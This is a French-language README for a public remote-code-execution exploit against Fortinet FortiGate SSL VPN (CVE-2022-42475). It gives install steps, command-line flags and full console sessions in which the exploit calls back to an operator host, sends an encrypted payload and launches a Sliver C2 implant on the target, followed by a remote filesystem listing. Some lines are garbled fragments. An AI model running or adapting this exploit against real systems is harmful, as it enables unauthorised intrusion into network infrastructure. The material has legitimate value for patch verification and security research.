
Un exploit pour CVE-2022-42475, un débordement de tas pré-authentification dans les produits réseau Fortinet
Ceci est l'exploit pour l'article de blog ici : https://bishopfox.com/blog/exploit-cve-2022-42475
Cette version de l'exploit ne fonctionnera pas sans que vous, le hacker, fournissiez les adresses mémoire nécessaires pour les gadgets ROP, etc. Le travail nécessaire pour déterminer ces données est confidentiel et propriétaire de Bishop Fox et je ne publierai pas (ne peux pas) le publier en même temps que cet exploit. Je suis sûr que vous comprenez !
execve(fichier_binaire).Remarque : Actuellement, le mode « validation uniquement » fonctionne sur toutes les versions connues de FortiOS. Cependant, les exploits fonctionnent contre FortiOS 6.0.4 sur du matériel 100D. Je ne travaille plus chez BF et je ne peux donc pas publier l'exploit étendu qui supporte environ 18k cibles.
pip3 install PyCrypto
pip3 install pycryptodome
Cela ne tentera pas d'exploiter le bug, mais le déclenchera plutôt comme un crash (le daemon SSL VPN distant redémarre automatiquement et immédiatement). Le crash est détecté heuristiquement et signalé à l'opérateur.
Exécutez-le en utilisant le flag -v de validation :
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE
Cela déclenchera le bug, déploiera une chaîne ROP et sautera dans le shellcode. Le shellcode est bénin et fonctionne comme suit :
0xbf/tmp/x sur l'appareil FortiGate0xbf à l'exploit si le déchiffrement du payload a réussiFlags :
-t hôte/IP cible
-p port cible
-e mode exploit
-c mode connexion retour uniquement
-H et -P IP:port de l'opérateur (obligatoire)
-s version logicielle de FortiOS (obligatoire)
-m modèle matériel exécutant FortiOS
-d activer le débogage
Un exemple où nous sélectionnons à la fois la version logicielle 6.0.4 et le modèle d'appareil 100D :
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-] 6.0.4 [ 1 targets ] <=== 100D
[-] 5.2.14 [ 47 targets ]
[-] 5.6.9 [ 60 targets ]
[-] 6.0.13 [ 68 targets ]
[-] 6.0.14 [ 67 targets ]
[-] 6.0.15 [ 58 targets ]
[-] 6.0.8 [ 67 targets ]
[-] 6.2.11 [ 69 targets ]
[-] 6.2.7 [ 75 targets ]
[-] 6.4.10 [ 71 targets ]
[-] 6.4.2 [ 62 targets ]
[-] 6.4.3 [ 61 targets ]
[-] 6.4.6 [ 73 targets ]
[-] 6.4.9 [ 72 targets ]
[-] 7.0.4 [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!
Si vous omettez le -m pour choisir un modèle matériel, l'exploit forcera par force brute toutes les cibles matérielles pour la version logicielle spécifiée.
0xbf/tmp/x0xbf de succès à l'exploitexecve("/tmp/x")Flags :
-t hôte/IP cible
-p port cible
-e mode exploit
-f filename /chemin/vers/binaire/à/execve/sur/la/cible
-H et -P IP:port de l'opérateur pour la connexion retour (obligatoire)
-s version logicielle de FortiOS (obligatoire)
-m modèle matériel exécutant FortiOS
-d activer le débogage
Sliver :
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options
[server] sliver > mtls -l 8888
[*] Starting mTLS listener ...
[*] Successfully started job #1
Exploit :
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.
Et de retour dans Sliver :
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST
[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
Logon ID: <err>
[server] sliver (implant5) > ls
/ (19 items, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x bin <dir> Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x data <dir> Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x data2 <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x dev <dir> Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx etc -> data/etc 8 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx fortidev -> / 1 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx init -> /sbin/init 10 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x lib <dir> Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx lib64 -> lib 3 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x migadmin <dir> Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x proc <dir> Tue Jan 31 05:23:13 +0000 2023
drwx------ root <dir> Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x sbin <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x security-rating <dir> Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x sys <dir> Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx tmp <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x usr <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x var <dir> Tue Jan 31 05:24:07 +0000 2023
Notez que Sliver renvoie <err> parce que FortiOS est un peu comme Linux, mais pas tout à fait, et ne fonctionne pas toujours comme on pourrait s'y attendre. C'est un problème avec FortiOS, pas avec Sliver.
Je ne travaille plus chez Bishop Fox, vous devrez donc suivre le github de BF pour les mises à jour à ce sujet.